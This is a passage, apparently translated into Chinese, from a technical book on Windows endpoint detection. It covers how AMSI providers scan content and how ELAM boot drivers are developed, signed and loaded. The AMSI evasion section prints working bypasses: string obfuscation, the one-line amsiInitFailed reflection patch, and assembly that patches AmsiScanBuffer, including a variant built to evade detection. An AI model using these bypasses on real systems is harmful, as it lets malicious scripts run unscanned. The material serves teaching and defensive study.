pszAppName = (PBYTE)HeapAlloc(
GetProcessHeap(),
0,
ulBufferSize
);
if (!pszAppName)
{
return E_OUTOFMEMORY;
}
hr = stream->GetAttribute(
AMSI_ATTRIBUTE_APP_NAME,
ulBufferSize,
❶ pszAppName,
&ulAttributeSize
); if (hr != ERROR_SUCCESS || ulAttributeSize > ulBufferSize)
{
HeapFree(
GetProcessHeap(),
0,
pszAppName
);
return hr;
}
`--snip--`
}
清单 10-21:AMSI 扫描功能的实现
当 PowerShell 调用此示例函数时,pszAppName ❶将包含作为字符串的应用程序名称,AMSI 可以使用它来丰富扫描数据。如果脚本块被判定为恶意,这尤其有用,因为 EDR 可以利用应用程序名称终止调用进程。
如果AMSI_ATTRIBUTE_CONTENT_ADDRESS返回一个内存地址,我们就知道要扫描的内容已经完全加载到内存中,这样我们就可以直接与之交互。通常情况下,数据是以流的形式提供的,在这种情况下,我们使用Read()方法(在列表 10-22 中定义)逐个块地获取缓冲区的内容。我们可以定义这些块的大小,并将其与大小相同的缓冲区一起传递给Read()方法。
HRESULT Read(
[in] ULONGLONG position,
[in] ULONG size,
[out] unsigned char *buffer,
[out] ULONG *readSize
);
列表 10-22:IAmsiStream::Read()方法定义
服务提供者如何处理这些数据块完全取决于开发人员。他们可以扫描每个数据块,读取完整流并对其内容进行哈希,或者只是记录相关的详细信息。唯一的规则是,当Scan()方法返回时,它必须将HRESULT和AMSI_RESULT返回给调用者。
规避 AMSI
AMSI 是与规避相关的研究最多的领域之一。这在很大程度上归功于其早期的高效性,曾给大量依赖 PowerShell 的进攻性团队带来显著的困扰。对于他们来说,AMSI 呈现了一种生死存亡的危机,阻止了他们的主要代理正常运行。
攻击者可以采用多种规避技术来绕过 AMSI。虽然某些厂商曾尝试标记其中一些为恶意,但 AMSI 中存在的规避机会数量庞大,因此厂商通常无法应对所有的规避手段。本节将介绍一些当前操作环境中较为流行的规避方法,但请记住,每种技术都有许多变种。
字符串混淆
AMSI 的最早规避之一是简单的字符串混淆。如果攻击者能够确定脚本块中哪个部分被标记为恶意,他们通常可以通过拆分、编码或以其他方式掩盖字符串,绕过检测,如列表 10-23 中的示例所示。
PS > **AmsiScanBuffer**
At line:1 char:1
+ AmsiScanBuffer
+ ~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS > **"Ams" + "iS" + "can" + "Buff" + "er"**
AmsiScanBuffer
PS > **$b = [System.Convert]::FromBase64String("QW1zaVNjYW5CdWZmZXI=")**
PS > **[System.Text.Encoding]::UTF8.GetString($b)**
AmsiScanBuffer
列表 10-23:PowerShell 中字符串混淆的示例,能够规避 AMSI
AMSI 通常会将字符串 AmsiScanBuffer 标记为恶意,这是基于补丁的规避方式中常见的组成部分,但在这里你可以看到字符串拼接可以帮助我们绕过检测。AMSI 实现通常会接收到混淆的代码,然后将其传递给提供程序,以确定其是否为恶意代码。这意味着提供程序必须处理语言模拟函数,如字符串拼接、解码和解密。然而,包括微软在内的许多提供程序甚至无法检测到像这里展示的这种简单绕过。
AMSI 补丁
由于 AMSI 及其关联的提供程序被映射到攻击者的进程中,攻击者能够控制这些内存。通过补丁 amsi.dll 中的关键值或函数,攻击者可以防止 AMSI 在其进程中正常工作。这种规避技术非常强大,自 2016 年左右 Matt Graeber 讨论在 PowerShell 中使用反射来将 amsiInitFailed 补丁设置为 true 以来,已经成为许多红队的首选方法。他的代码被包含在 Listing 10-24 中,甚至能适配到一条推文中。
PS > [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
>> GetField('amsiInitFailed','NonPublic,Static'.SetValue($null,$true)
Listing 10-24:一个简单的 AmsiInitFailed 补丁
在进行补丁时,攻击者通常会针对 AmsiScanBuffer() 这个函数,它负责将缓冲区内容传递给提供程序。Daniel Duggan 在一篇博客文章《内存补丁 AMSI 绕过》中描述了这一技巧,在文章中他概述了攻击者的代码在执行任何真正的恶意活动之前必须采取的步骤:
-
获取当前加载到进程中的 amsi.dll 中 AmsiScanBuffer() 的地址。
-
使用 kernel32!VirtualProtect() 将内存保护更改为可读写模式,这样攻击者就可以放置补丁。
-
将补丁复制到 AmsiScanBuffer() 函数的入口点。
-
再次使用 kernel32!VirtualProtect() 恢复内存保护为可读执行模式。
补丁本身利用了一个事实,即在内部,如果其初始检查失败,AmsiScanBuffer() 将返回 E_INVALIDARG。这些检查包括尝试验证要扫描的缓冲区的地址。Duggan 的代码添加了一个表示 列表 10-25 中汇编代码的字节数组。在这个补丁之后,当执行 AmsiScanBuffer() 时,它将立即返回这个错误代码,因为构成原始函数的实际指令已被覆盖。
mov eax, 0x80070057 ; E_INVALIDARG
ret
列表 10-25:在补丁后返回给 AmsiScanBuffer() 的错误代码
这种技术有许多变体,它们都工作原理非常相似。例如,攻击者可能会修改 AmsiOpenSession() 而不是 AmsiScanBuffer()。他们也可以选择破坏传入 AmsiScanBuffer() 的参数之一,如缓冲区长度或上下文,导致 AMSI 自行返回 E_INVALIDARG。
微软很快意识到了这种逃避技术,并采取措施防止绕过。它实施的检测之一基于我们描述的补丁所组成的操作码序列。然而,攻击者可以通过多种方式规避这些检测。例如,他们可以简单地修改他们的汇编代码以达到相同的结果,将 0x80070057 移入 EAX 并返回,这样的方式不那么直接。请考虑 第 10-26 列表 中的示例,该示例将值 0x80070057 分解,而不是一次性将其移入寄存器。
xor eax, eax ; Zero out EAX
add eax, 0x7459104a
add eax, 0xbadf00d
ret
列表 10-26:分解硬编码值以规避补丁检测
想象一下,EDR 寻找将值 0x80070057 移入 EAX 寄存器的情况。这种逃避策略将绕过其检测逻辑,因为该值从未被直接引用。相反,它被分解成两个值,这两个值恰好加起来等于所需值。
无需补丁的 AMSI 绕过
在 2022 年 4 月,Ceri Coburn 揭示了一种绕过 AMSI 的技术,而无需对 amsi.dll 进行补丁,这是许多 EDR 供应商已经开始监控的活动。Coburn 的技术也不需要分叉和运行,允许攻击者保持在他们的原始进程中。
这个技术相当巧妙。首先,攻击者从加载的 amsi.dll 中获取 amsi!AmsiScanBuffer() 的函数指针,或者通过调用 LoadLibrary() 强制其加载到进程中。接着,他们通过 kernel32!AddVectoredExceptionHandler() 注册一个矢量异常处理程序。这个处理程序允许开发者注册一个函数来监控和管理应用中的所有异常。最后,他们通过修改当前线程的调试寄存器(DR0、DR6 和 DR7)在 AmsiScanBuffer() 的地址上设置硬件断点。
当攻击者执行他们的 .NET 内联代码时,系统最终会调用 AmsiScanBuffer(),触发硬件断点并调用矢量异常处理程序。这个函数获取当前线程上下文,并更新寄存器以匹配当 AMSI 未检测到恶意内容时设置的值,即 0 (S-OK) 在 RAX 中,0 (AMSI_RESULT_CLEAN) 在 RSP+48 中。
此外,它从栈中提取返回地址(RSP),并将指令指针(RIP)指向 AmsiScanBuffer() 函数的调用者。接下来,它将栈指针回退到调用 AmsiScanBuffer() 之前的位置,清除硬件断点,并返回 EXCEPTION_CONTINUE_EXECUTION 代码。执行从断点处恢复。现在,Windows 将使用攻击者修改的线程上下文继续执行,将伪造的值传回给调用者,并允许恶意代码继续执行而不被发现。
结论
AMSI 是基于主机检测中的一个极为重要的组成部分。它与 PowerShell、.NET 和 Microsoft Office 等软件的集成意味着它在许多对抗活动中扮演了关键角色,从初步访问到后期利用。由于其在发布时对攻防作战的巨大影响,AMSI 曾经受到广泛研究。如今,AMSI 更加充当补充角色,因为几乎存在无数种规避策略。不过,厂商已经意识到这一点,并开始投入资源,监控常见的 AMSI 规避策略,然后将这些作为对抗活动的指示器。
第十一章:11 早期启动反恶意软件驱动程序

2012 年,攻击者发起了 Zacinlo 广告软件攻击活动,其根工具包是 Detrahere 家族的一员,包含了一些自我保护功能。最有趣的功能之一是其持久性机制。
与第三章至第五章中讨论的回调例程类似,驱动程序可以注册称为关机处理程序的回调例程,在系统关闭时执行某些操作。为了确保其根工具包能在系统中持久存在,Zacinlo 根工具包的开发者使用了一个关机处理程序,将驱动程序以新名称重写到磁盘上,并为一个服务创建新的注册表键,该服务将重新启动根工具包作为启动驱动程序。如果有人试图清除系统中的根工具包,驱动程序会简单地丢弃这些文件和键,从而使其更加有效地保持持久性。
尽管这种恶意软件现在已经不再流行,但它突显了保护软件中的一个巨大漏洞:无法缓解在启动过程早期运行的威胁。为了解决这个问题,微软在 Windows 8 中引入了一项新的反恶意软件功能,允许某些特殊驱动程序在所有其他启动驱动程序之前加载。如今,几乎所有的 EDR 厂商都以某种方式利用这一功能,称为早期启动反恶意软件(ELAM),因为它能够在系统启动过程的非常早期就对系统产生影响。它还提供了对某些类型的系统遥测数据的访问,这些数据对其他组件不可用。
本章将介绍 ELAM 驱动程序的开发、部署和启动保护功能,以及规避这些驱动程序的策略。在第十二章中,我们将介绍为部署 ELAM 驱动程序到主机的厂商提供的遥测源和进程保护。
ELAM 驱动程序如何保护启动过程
微软允许第三方驱动程序在启动过程中早期加载,以便软件厂商可以初始化那些对系统至关重要的驱动程序。然而,这也是一把双刃剑。虽然它为确保加载关键驱动程序提供了一种有用的方式,但恶意软件作者也可以将其根工具包插入到这些早期加载顺序组中。如果恶意驱动程序能够在杀毒软件或其他安全相关驱动程序之前加载,它可能会篡改系统,阻止这些保护驱动程序按预期工作,甚至根本阻止它们加载。
为了避免这些攻击,微软需要一种方法,在启动过程的早期加载端点安全驱动程序,以便在任何恶意驱动程序加载之前进行加载。ELAM 驱动程序的主要功能是在启动过程中,当其他驱动程序尝试加载时接收通知,然后决定是否允许其加载。此验证过程是受信启动的一部分,受信启动是 Windows 的一项安全功能,负责验证内核和其他组件(如驱动程序)的数字签名,只有经过验证的反恶意软件供应商才能参与。
要发布 ELAM 驱动程序,开发者必须是微软病毒计划(MVI)的一部分,这是一个面向为 Windows 操作系统开发安全软件的反恶意软件公司的计划。截至本文写作时,为了有资格参与该计划,供应商必须具有良好的声誉(通过参加会议和行业标准报告等因素进行评估),向微软提交性能测试和功能审核的申请,并提供解决方案进行独立测试。供应商还必须签署保密协议,这可能是那些了解该计划的人保持沉默的原因。
微软病毒计划与 ELAM 密切相关。要创建生产驱动程序(即可以部署到非测试签名模式的系统中的驱动程序),微软必须对驱动程序进行反签名。此反签名使用一个特殊证书,在 ELAM 驱动程序的数字签名信息中可以看到,显示为Microsoft Windows Early Launch Anti-malware Publisher,如图 11-1 所示。只有微软病毒计划的参与者才能获得此反签名。

图 11-1:微软在 ELAM 驱动程序上的反签名
如果没有此签名,驱动程序将无法作为早期启动服务组的一部分加载,详细内容请参见第 208 页中的“加载 ELAM 驱动程序”部分。因此,本章中的示例针对启用了测试签名的系统,这样我们就可以忽略反签名的要求。这里描述的过程和代码与生产环境中的 ELAM 驱动程序相同。
开发 ELAM 驱动程序
在许多方面,ELAM 驱动程序类似于前面章节中介绍的驱动程序;它们使用回调函数接收关于系统事件的信息,并在本地主机上做出安全决策。然而,ELAM 驱动程序特别注重预防而非检测。当 ELAM 驱动程序在启动过程中较早启动时,它会评估系统上每个启动驱动程序,并根据其内部的恶意软件签名数据和逻辑,以及系统策略(该策略决定主机的风险容忍度)来批准或拒绝加载。本节将介绍开发 ELAM 驱动程序的过程,包括其内部工作原理和决策逻辑。
注册回调例程
驱动程序采取的第一个 ELAM 特定的操作是注册其回调例程。ELAM 驱动程序通常同时使用注册表回调和启动回调。注册表回调函数通过 nt!CmRegisterCallbackEx() 注册,用于验证在注册表中加载的驱动程序的配置信息,关于这部分我们在 第五章 中进行了详细讲解,因此这里不再赘述。
更有趣的是启动回调例程,它通过 nt!IoRegisterBootDriverCallback() 注册。这个回调为 ELAM 驱动程序提供有关启动过程状态的更新,以及有关每个加载的启动驱动程序的信息。启动回调函数作为 PBOOT_DRIVER_CALLBACK_FUNCTION 被传递给注册函数,并且必须具有与 列表 11-1 中所示的签名匹配的签名。
void BootDriverCallbackFunction(
PVOID CallbackContext,
BDCB_CALLBACK_TYPE Classification,
PBDCB_IMAGE_INFORMATION ImageInformation
)
列表 11-1:ELAM 驱动程序回调签名
在启动过程中,此回调例程会接收到两种不同类型的事件,这取决于 Classification 输入参数中的值。这些事件在 列表 11-2 中显示的 BDCB_CALLBACK_TYPE 枚举中定义。
typedef enum _BDCB_CALLBACK_TYPE {
BdCbStatusUpdate,
BdCbInitializeImage,
} BDCB_CALLBACK_TYPE, *PBDCB_CALLBACK_TYPE;
列表 11-2:BDCB_CALLBACK_TYPE 枚举
BdCbStatusUpdate 事件告诉 ELAM 驱动程序系统在加载启动驱动程序过程中已经执行到哪个阶段,以便驱动程序可以做出适当的响应。它可以报告以下三种状态之一,这些状态在 列表 11-3 中显示。
typedef enum _BDCB_STATUS_UPDATE_TYPE {
BdCbStatusPrepareForDependencyLoad,
BdCbStatusPrepareForDriverLoad,
BdCbStatusPrepareForUnload
} BDCB_STATUS_UPDATE_TYPE, *PBDCB_STATUS_UPDATE_TYPE;
列表 11-3:BDCB_STATUS_UPDATE_TYPE 值
这些值中的第一个表示系统即将加载驱动程序依赖项。第二个表示系统即将加载启动驱动程序。最后一个表示所有启动驱动程序已加载,因此 ELAM 驱动程序应该准备卸载。
在前两种状态期间,ELAM 驱动程序将收到另一种与加载启动驱动程序映像相关的事件。此事件作为指向 BDCB_IMAGE_INFORMATION 结构的指针传递给回调,该结构在 列表 11-4 中定义。
typedef struct _BDCB_IMAGE_INFORMATION {
BDCB_CLASSIFICATION Classification;
ULONG ImageFlags;
UNICODE_STRING ImageName;
UNICODE_STRING RegistryPath;
UNICODE_STRING CertificatePublisher;
UNICODE_STRING CertificateIssuer; PVOID ImageHash;
PVOID CertificateThumbprint;
ULONG ImageHashAlgorithm;
ULONG ThumbprintHashAlgorithm;
ULONG ImageHashLength;
ULONG CertificateThumbprintLength;
} BDCB_IMAGE_INFORMATION, *PBDCB_IMAGE_INFORMATION;
列表 11-4:BDCB_IMAGE_INFORMATION 结构定义
正如你所看到的,这个结构包含了用于判断某个驱动程序是否为 rootkit 的大部分信息。它的大部分内容与镜像的数字签名有关,并且特别地省略了一些你可能期望看到的字段,比如指向磁盘上镜像内容的指针。这部分是由于对 ELAM 驱动程序的性能要求所导致的。由于它们会影响系统的启动时间(因为每次 Windows 启动时都会初始化),微软对每个启动驱动程序的评估时间限制为 0.5 毫秒,对所有启动驱动程序的总评估时间限制为 50 毫秒,而且要求所有这些评估在 128KB 的内存占用下完成。这些性能要求限制了 ELAM 驱动程序的功能;例如,扫描镜像内容太耗时。因此,开发人员通常依赖静态签名来识别恶意驱动程序。
在启动过程中,操作系统将 ELAM 驱动程序使用的签名加载到一个早期启动驱动程序注册表数据项中,该数据项位于 HKLM:\ELAM*,后跟供应商的名称(例如,HKLM:\ELAM\Windows Defender* 用于 Microsoft Defender,如图 11-2 所示)。此数据项将在启动过程的后期被卸载,并且在用户启动会话时,该项不会出现在注册表中。如果供应商希望更新此数据项中的签名,他们可以通过挂载包含签名的注册表数据项 %SystemRoot%\System32\config\ELAM 并修改其密钥,来从用户模式进行更新。

图 11-2:Microsoft Defender 在 ELAM 注册表数据项中的位置
供应商可以在此键中使用三种类型为 REG_BINARY 的值:Measured、Policy 和 Config。微软没有公开正式文档来说明这些值的目的或它们之间的区别。然而,微软确实声明,签名数据块必须经过签名,并且在 ELAM 驱动程序开始做出关于启动驱动程序状态的决策之前,必须使用加密 API:下一代 (CNG) 原始加密函数验证其完整性。
目前并没有标准规定在 ELAM 驱动程序验证签名块完整性后,这些签名块的结构或使用方式。然而,如果你感兴趣的话,2018 年德国的联邦信息安全局(BSI)发布了其工作包 5,其中包括了如何 Defender 的wdboot.sys执行自身的完整性检查并解析签名块的优秀教程。
如果由于任何原因,签名数据的加密验证失败,ELAM 驱动程序必须为所有启动时加载的驱动程序使用其回调返回 BdCbClassificationUnknownImage 分类,因为签名数据不被认为是可靠的,不应影响 受度量启动(Measured Boot),这是 Windows 的一项功能,它会测量从固件到驱动程序的每个启动组件,并将结果存储在受信平台模块(TPM)中,可以用来验证主机的完整性。
应用检测逻辑
一旦 ELAM 驱动程序收到 BdCbStatusPrepareForDriverLoad 状态更新,并获得指向每个启动加载驱动程序的 BDCB_IMAGE_INFORMATION 结构的指针,它会使用结构中提供的信息应用其检测逻辑。一旦作出判断,驱动程序会更新当前图像信息结构中的 Classification 成员(不要与传递给回调函数的 Classification 输入参数混淆),并使用 BDCB_CLASSIFICATION 枚举中的值,该枚举在 清单 11-5 中定义。
typedef enum _BDCB_CLASSIFICATION {
BdCbClassificationUnknownImage,
BdCbClassificationKnownGoodImage,
BdCbClassificationKnownBadImage,
BdCbClassificationKnownBadImageBootCritical,
BdCbClassificationEnd,
} BDCB_CLASSIFICATION, *PBDCB_CLASSIFICATION;
清单 11-5:BDC_CLASSIFICATION 枚举
微软按如下方式定义这些值,从上到下:图像尚未分析,或无法确定其恶意性;ELAM 驱动程序未发现恶意软件;ELAM 驱动程序检测到恶意软件;启动加载驱动程序是恶意软件,但对启动过程至关重要;启动加载驱动程序保留供系统使用。ELAM 驱动程序为每个启动时加载的驱动程序设置其中一个分类,直到收到 BdCbStatusPrepareForUnload 状态更新,指示它进行清理。然后,ELAM 驱动程序被卸载。
接下来,操作系统评估每个 ELAM 驱动程序返回的分类,并在需要时采取相应措施。为了决定采取何种措施,Windows 会查询注册表项 HKLM:\System\CurrentControlSet\Control\EarlyLaunch\DriverLoadPolicy,该项定义了允许在系统上运行的驱动程序。此值由 nt!IopInitializeBootDrivers() 读取,可以是 表 11-1 中包含的任何选项。
表 11-1: 可能的驱动加载策略值
| 值 | 描述 |
|---|---|
| 0 | 仅良好驱动程序 |
| 1 | 良好和未知的驱动程序 |
| 3 | 良好、未知和对启动过程至关重要的驱动程序(默认) |
| 7 | 所有驱动程序 |
内核(特别是即插即用管理器)使用 ELAM 驱动程序指定的分类来防止任何被禁止的驱动程序加载。所有其他驱动程序都可以加载,系统启动照常继续。
注意
如果 ELAM 驱动程序识别到已知的恶意启动驱动程序并且运行在利用测量启动(Measured Boot)的系统上,开发人员必须调用 tbs!Tbsi_Revoke_Attestation()。这个函数的作用有点技术性;本质上,它通过未指定的值扩展 TPM 中的一个平台配置寄存器组,特别是 PCR[12],然后递增 TPM 的事件计数器,从而打破系统安全状态的信任。
示例驱动程序:防止 Mimidrv 加载
在清单 11-6 中的调试器输出显示了当 ELAM 驱动程序遇到已知的恶意驱动程序 Mimikatz 的 Mimidrv 时,它会显示调试信息并防止其加载。
[ElamProcessInitializeImage] The following boot start driver is about to be initialized:
Image name: \SystemRoot\System32\Drivers\mup.sys
Registry Path: \Registry\Machine\System\CurrentControlSet\Services\Mup
Image Hash Algorithm: 0x0000800c
Image Hash: cf2b679a50ec16d028143a2929ae56f9117b16c4fd2481c7e0da3ce328b1a88f
Signer: Microsoft Windows
Certificate Issuer: Microsoft Windows Production PCA 2011
Certificate Thumbprint Algorithm: 0x0000800c
Certificate Thumbprint: a22f7e7385255df6c06954ef155b5a3f28c54eec85b6912aaaf4711f7676a073
**[ElamProcessInitializeImage] The following boot start driver is about to be initialized:**
**[ElamProcessInitializeImage] Found a suspected malicious driver (\SystemRoot\system32\drivers\**
**mimidrv.sys). Marking its classification accordingly**
[ElamProcessInitializeImage] The following boot start driver is about to be initialized:
Image name: \SystemRoot\system32\drivers\iorate.sys
Registry Path: \Registry\Machine\System\CurrentControlSet\Services\iorate
Image Hash Algorithm: 0x0000800c Image Hash: 07478daeebc544a8664adb00704d71decbc61931f9a7112f9cc527497faf6566
Signer: Microsoft Windows
Certificate Issuer: Microsoft Windows Production PCA 2011
Certificate Thumbprint Algorithm: 0x0000800c
Certificate Thumbprint: 3cd79dfbdc76f39ab4855ddfaeff846f240810e8ec3c037146b88cb5052efc08
清单 11-6:ELAM 驱动程序输出,显示检测到 Mimidrv
在此示例中,你可以看到 ELAM 驱动程序允许其他启动驱动程序加载:本地的通用命名约定驱动程序 mup.sys 和磁盘 I/O 速率过滤驱动程序 iorate.sys,这两个驱动程序都由微软签名。在这两个驱动程序之间,它通过已知的文件加密哈希值检测 Mimidrv。由于它将该驱动程序视为恶意驱动程序,它会在操作系统完全初始化之前阻止 Mimidrv 加载,而且无需用户或其他 EDR 组件的任何交互。
加载 ELAM 驱动程序
在加载 ELAM 驱动程序之前,你必须完成几个准备步骤:签署驱动程序并分配其加载顺序。
签名驱动程序
部署 ELAM 驱动程序最让人头疼的部分,特别是在开发和测试过程中,是确保其数字签名符合微软对系统加载的要求。即使在测试签名模式下,驱动程序也必须具有特定的证书属性。
微软发布了关于测试签名 ELAM 驱动程序过程的有限信息。在其演示中,微软说了以下内容:
早期启动驱动程序要求使用包含早期启动 EKU “1.3.6.1.4.1.311.61.4.1” […] 和 “1.3.6.1.5.5.7.3.3” 代码签名 EKU 的代码签名证书进行签名。一旦创建了这种形式的证书,就可以使用 signtool.exe 对[ELAM 驱动程序]进行签名。
在测试签名场景中,你可以通过在提升权限的命令提示符中运行makecert.exe(Windows SDK 中附带的实用工具)来创建包含这些 EKU 的证书。列表 11-7 展示了执行此操作的语法。
PS > **& 'C:\Program Files (x86)\Windows Kits\10\bin\10.0.19042.0\x64\makecert.exe'**
>> -a SHA256 -r -pe
>> -ss PrivateCertStore
>> -n "CN=DevElamCert"
>> -sr localmachine
>> -eku 1.3.6.1.4.1.311.61.4.1,1.3.6.1.5.5.7.3.3
>> C:\Users\dev\Desktop\DevElamCert.cer
列表 11-7:生成自签名证书
该工具支持一组强大的参数,但只有两个与 ELAM 特别相关。第一个是-eku选项,它将Early Launch Antimalware Driver和Code Signing对象标识符添加到证书中。第二个是证书应写入的路径。
当makecert.exe完成时,你会在指定位置找到一个新的自签名证书。该证书应具有必要的对象标识符,你可以通过打开证书并查看其详细信息来验证这一点,如图 11-3 所示。

图 11-3:证书中包含的 ELAM EKU
接下来,你可以使用signtool.exe,这是 Windows SDK 中的另一个工具,来签名已编译的 ELAM 驱动程序。列表 11-8 展示了使用之前生成的证书进行签名的示例。
PS > **& 'C:\Program Files (x86)\Windows Kits\10\bin\10.0.19041.0\x64\signtool.exe'**
>> sign
>> /fd SHA256
>> /a
>> /ph
>> /s "PrivateCertStore"
>> /n "MyElamCert"
>> /tr http://sha256timestamp.ws.symantec.com/sha256/timestamp
>> .\elamdriver.sys
列表 11-8:使用 signtool.exe 签名 ELAM 驱动程序
像makecert.exe一样,这个工具支持一大堆参数,其中一些对 ELAM 并不特别重要。首先,/fd参数指定用于签名证书的文件摘要算法(在我们的案例中是 SHA256)。/ph参数指示signtool.exe为可执行文件生成页面哈希。从 Vista 开始的 Windows 版本使用这些哈希来验证驱动程序加载到内存时每个页面的签名。/tr参数接受时间戳服务器的 URL,使证书能够正确地打上时间戳(有关时间戳协议的详细信息,请参见 RFC 3161)。开发人员可以使用一些公开可用的服务器来完成此任务。最后,该工具接受要签名的文件(在我们的案例中是 ELAM 驱动程序)。
现在我们可以检查驱动程序的属性,以查看它是否已使用自签名证书和时间戳服务器的反签名进行签名,如图 11-4 所示。

图 11-4:包含时间戳的签名驱动程序
如果是这样,你可以将驱动程序部署到系统中。与大多数驱动程序一样,系统使用服务来便于驱动程序在指定的时间加载。为了正常工作,ELAM 驱动程序必须在启动过程的非常早期加载。这就是加载顺序分组概念的应用场景。
设置加载顺序
在 Windows 上创建启动时加载的服务时,开发者可以指定该服务应该在启动顺序中何时加载。这在驱动程序依赖于另一个服务的可用性或需要在特定时间加载时非常有用。
然而,开发者不能为加载顺序组指定任何任意字符串。微软维护着一个列表,其中包含注册表中大多数可用的组,位置为 HKLM:\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder,你可以轻松地检索到这个列表,如 清单 11-9 所示。
PS> **(Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder).List**
System Reserved
EMS
WdfLoadGroup
Boot Bus Extender
System Bus Extender
SCSI miniport
Port
Primary Disk
SCSI Class
SCSI CDROM Class
FSFilter Infrastructure
FSFilter System
FSFilter Bottom
FSFilter Copy Protection
`--snip--`
清单 11-9:使用 PowerShell 从注册表中检索服务加载顺序组
此命令解析包含加载顺序组名称的注册表键的值,并将其作为列表返回。截至本文撰写时,注册表键中包含 70 个组。
微软要求 ELAM 驱动程序开发者使用 Early-Launch 加载顺序组,这个组在 ServiceGroupOrder 键中是没有的。没有其他特殊的加载要求,你可以简单地通过使用 sc.exe 或者 advapi32!CreateService() Win32 API 来完成。例如,清单 11-10 加载 WdBoot,这是一个与 Windows 10 一起发布的 ELAM 服务,用于加载名为相同的 Defender 启动驱动程序。
PS C:\> **Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\WdBoot |**
**>> select PSChildName, Group, ImagePath | fl**
PSChildName : WdBoot
Group : Early-Launch
ImagePath : system32\drivers\wd\WdBoot.sys
清单 11-10:检查 Defender 的 WdBoot ELAM 驱动程序
此命令收集服务的名称、其加载顺序组及驱动程序在文件系统中的路径。
如果你深入了解加载 ELAM 驱动程序的过程,你会发现这主要是 Windows 启动加载程序的责任,winload.efi。启动加载程序,作为一款复杂的软件,执行了几个操作。首先,它在注册表中搜索所有启动时加载的驱动程序,这些驱动程序位于 Early-Launch 组,并将它们添加到列表中。接着,它加载核心驱动程序,如系统防护运行时监控程序 (sgrmagent.sys) 和安全事件组件迷你筛选器 (mssecflt.sys)。最后,它会检查 ELAM 驱动程序列表,进行完整性检查并最终加载驱动程序。一旦 Early-Launch 驱动程序加载完成,启动过程继续,ELAM 审核过程将在 第 203 页 中描述。
注意
这是对加载 ELAM 驱动程序过程的简化描述。如果你有兴趣了解更多,可以查看@n4r1b 的博客文章《理解 WdBoot》,该文详细讲解了 Windows 如何加载必要的驱动程序。
规避 ELAM 驱动程序
由于 ELAM 驱动程序主要使用静态签名和哈希值来识别恶意的启动驱动程序,因此你可以像规避用户模式基于文件的检测那样规避它们:通过更改静态指示符。然而,在驱动程序中执行此操作比在用户模式中更困难,因为通常可供选择的驱动程序要比用户模式可执行文件少。这在很大程度上归因于现代版本 Windows 中的驱动程序签名强制。
驱动程序签名强制是在 Windows Vista 及以后的版本中实施的一个控制措施,要求内核模式代码(即驱动程序)必须经过签名才能加载。从版本 1607 开始,Windows 10 进一步要求驱动程序必须使用扩展验证(EV)证书进行签名,并且如果开发者希望驱动程序能够在 Windows 10 S 上加载,或者希望其更新通过 Windows Update 分发,还需要可选的 Windows 硬件质量实验室(WHQL)签名。由于这些签名过程的复杂性,攻击者在现代版本的 Windows 上加载 rootkit 变得更加困难。
攻击者的驱动程序可以在符合驱动程序签名强制要求的情况下执行多种功能。例如,微软签名的 NetFilter rootkit 通过了所有驱动程序签名强制检查,并且可以在现代 Windows 版本中加载。然而,获得微软签名的 rootkit 并不是一个简单的过程,对于许多进攻团队来说也不切实际。
如果攻击者采用自带易受攻击的驱动程序(BYOVD)方法,他们的选择会变得更加广泛。这些是攻击者加载到系统上的易受攻击驱动程序,通常由合法的软件供应商签名。由于它们不包含明显的恶意代码,因此很难被检测到,而且在发现其漏洞后,证书很少会被吊销。如果这个 BYOVD 组件在启动时加载,稍后在启动过程中运行的用户模式组件可能会利用该驱动程序,通过多种技术手段加载操作员的 rootkit,具体取决于漏洞的性质。
另一种方法是部署固件 rootkit 或 bootkit。虽然这种技术极为罕见,但它可以有效地规避 ELAM 的启动保护。例如,ESptecter bootkit 修补了启动管理器(bootmgfw.efi),禁用了驱动程序签名强制,并投放了其驱动程序,该驱动程序负责加载用户模式组件并执行键盘记录。ESpecter 在系统加载 UEFI 模块时初始化,启动过程如此之早,以至于 ELAM 驱动程序无法影响其存在。
尽管实现 rootkit 和 bootkit 的具体细节超出了本书的范围,但它们对于任何对“顶级”恶意软件感兴趣的人来说,都是一个迷人的话题。由 Alex Matrosov、Eugene Rodionov 和 Sergey Bratus 合著的 Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats 是截至本书撰写时最为更新的资源,并强烈推荐作为本节内容的补充。
幸运的是,微软继续大量投资于保护启动过程中 ELAM 尚未发挥作用的部分。这些保护措施属于 Measured Boot 范畴,验证从 UEFI 固件到 ELAM 的启动过程完整性。在启动过程中,Measured Boot 会生成这些启动组件的加密哈希值,或称为 测量值,以及其他配置数据,如 BitLocker 和 Test Signing 的状态,并将其存储在 TPM 中。
一旦系统完成启动,Windows 会使用 TPM 生成一个加密签名声明,或称为 引用,用于确认系统配置的有效性。该引用会发送到认证机构,认证机构对测量值进行认证,返回系统是否值得信任的判断,并可以选择采取措施修复任何问题。随着要求 TPM 的 Windows 11 越来越广泛地被采用,这项技术将成为企业内部系统完整性检测的重要组成部分。
不幸的现实
在绝大多数情况下,ELAM 供应商未能符合微软的推荐标准。2021 年,Maxim Suhanov 发布了一篇博客文章《Measured Boot 和恶意软件签名:探索 Windows 加载程序中发现的两个漏洞》,在文章中他对比了 26 个供应商的 ELAM 驱动程序。他指出,只有 10 家供应商使用了签名;其中,只有两家供应商的签名在实现微软预期的 Measured Boot 时发挥了作用。相反,这些供应商几乎完全利用他们的 ELAM 驱动程序来创建受保护的进程并访问下一章中讨论的 Microsoft-Windows-Threat-Intelligence ETW 提供程序。
结论
ELAM 驱动程序为 EDR 提供了对启动过程中之前无法监控的部分的洞察。这使得 EDR 可以检测甚至可能阻止一个攻击者在主要 EDR 代理启动之前执行他们的代码。尽管这一看似巨大的好处,几乎没有供应商利用这项技术,而是仅将其用于辅助功能:访问 Microsoft-Windows-Threat-Intelligence ETW 提供程序。
第十二章:12 MICROSOFT-WINDOWS-THREAT-INTELLIGENCE

